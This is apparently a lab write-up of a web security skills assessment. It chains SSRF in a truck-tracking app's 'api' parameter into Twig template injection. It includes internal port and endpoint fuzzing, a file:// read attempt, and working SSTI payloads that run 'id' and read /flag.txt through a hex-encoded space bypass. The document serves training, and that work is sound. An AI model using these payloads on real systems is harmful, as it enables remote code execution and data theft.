Server Side Attacks Skills Assessment
Scenario
You are tasked to perform a security assessment of a client's web application. Apply what you have learned in this module to obtain the flag.
Walkthrough
Target: 83.136.251.105:35735
Loading up the page I am greeted with this page

The links at the top of the page are all dead
I don’t see any locations to inject user input on this page, so there might be other pages
Running feroxbuster to look for other pages
┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://83.136.251.105:35735 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x "txt,html,php,asp,aspx,jsp" -v -k -q -e -r -t 200This found the following end point
http://83.136.251.105:35735/index.phpThis page seemed to mirror the previous one at just /
Looking at the source code of the page I find a code snippet

Breaking this snippet down
<script>
for (var truckID of ["FusionExpress01", "FusionExpress02", "FusionExpress03"]) {
var xhr = new XMLHttpRequest();
xhr.open('POST', '/', false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
var resp = document.getElementById(truckID)
if (xhr.status === 200) {
var responseData = xhr.responseText;
var data = JSON.parse(responseData);
if (data['error']) {
resp.innerText = data['error'];
} else {
resp.innerText = data['location'];
}
} else {
resp.innerText = "Unable to fetch current truck location!"
}
}
};
xhr.send('api=http://truckapi.htb/?id' + encodeURIComponent("=" + truckID));
}
</script>This JavaScript snippet is designed to update a webpage with the location data of three specific delivery trucks. It runs directly in the browser (client-side) and communicates with the web server to fetch this data.
There are a couple of things being done here
- Iterates through a list of three truck IDs.
- Sends a request for each truck to the current web server (
/). - Receives a JSON response containing the truck's location.
- Updates the HTML element on the page corresponding to that truck ID with the location text.
The other big thing here is that there is an API being exposed here.
The ID parameter is also specified so it seems we are being point there
xhr.send('api=http://truckapi.htb/?id' + encodeURIComponent("=" + truckID));
Adding this API to my /etc/hosts file
sudo nano /etc/hosts
83.136.251.105 truckingapi.htbWhen I attempt to send a post request directly to the API I get an error

This error alongside seeing in the code that the application is making a request, makes me think I am looking for an SSRF.
Reloading the page while caido had intercept on, the first request is a GET, but once the page loads, we can see the post request come through

Manipulating the request to attempt to make a call back to a netcat listener I opened failed

Reflected SSRF Fuzzing for Endpoints
Pointing the API post request back at itself, I do get a response. So there is SSRF and it is not blind since the response is reflected back to me.

I was getting an error earlier making request externally, now I can try and fuzz for endpoints internally or perform a port scan on the system
Right clicking on that request and sending it to automate in caido. Then highlighting a filler word and adding the .php extension since we know the server is using php files from index.php

Letting this run for a bit and then using httpql to look for values not equal to the standard response length
httpql query:
resp.len.ne:462
Fuzzing using the common.txt list didn’t find anything
Fuzzing using the seclist web content medium list didn’t find anything either
Attempting LFI with file:///etc/passwd failed giving the following error
Error (1): Protocol "file" not supported or disabled in libcurlSSRF Port Scan Attempt
Using the SSRF for a port scan, didn’t identify any ports with a different response other than 3306 which could be interesting given that the MySQL port,

Now that I’ve explored the port scanning and directory brute forcing route from the SSRF the next logical path is the SSTI one I think given that XML data being sent in the code snippet. It could certainly be a template engine displaying the content above the footer.
<script>
for (var truckID of ["FusionExpress01", "FusionExpress02", "FusionExpress03"]) {
var xhr = new XMLHttpRequest();
xhr.open('POST', '/', false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
var resp = document.getElementById(truckID)
if (xhr.status === 200) {
var responseData = xhr.responseText;
var data = JSON.parse(responseData);
if (data['error']) {
resp.innerText = data['error'];
} else {
resp.innerText = data['location'];
}
} else {
resp.innerText = "Unable to fetch current truck location!"
}
}
};
xhr.send('api=http://truckapi.htb/?id' + encodeURIComponent("=" + truckID));
}
</script>I had to get a fresh post request to work from by refreshing the page and making sure caido was in intercept mode.

SSRF to SSTI
Sending the SSTI test string, I dont get any data back just a blank 200. Which is a little surprising as I was expecting a 500.
api=http://truckapi.htb/?id=${{<%[%'"}}%\.
Digging deeper still since it was a change in behavior at least. The template engine identification chart below is being used:

Running the following query gave me a response that indicates the SSRF does lead to SSTI. The server responded 49 which indicates my query of 7*7 was run

api=http://truckapi.htb/?id={{7*'7'}}In the chart, it is not noted, but In Jinja, the result will be 7777777, while in Twig, the result will be 49. This tells us that we have template injection and it is a Twig template engine. Which makes sense given that the other page was using PHP and Twig is a template engine commonly used in PHP web frameworks.
When I tried to run the payload from the module for LFI I got an error, I did for the listing template info payload as well.
The RCE one did work though, when I removed the spaces and ran it
api=http://truckapi.htb/?id={{['id']|filter('system')}}
Attempting to cat the flag was a bit of a pain
I tried various space bypass filters
Brace expansion didnt work
{cat,flag.txt}Using the linux environment variable for space didn’t work
cat${LFS}/flag.txtTrying tabs didn’t work either
cat%09flag.txtWhat did end up working was using the hexadecimal value for a space
api=http://truckapi.htb/?id={{['cat\x20/flag.txt']|filter('system')}}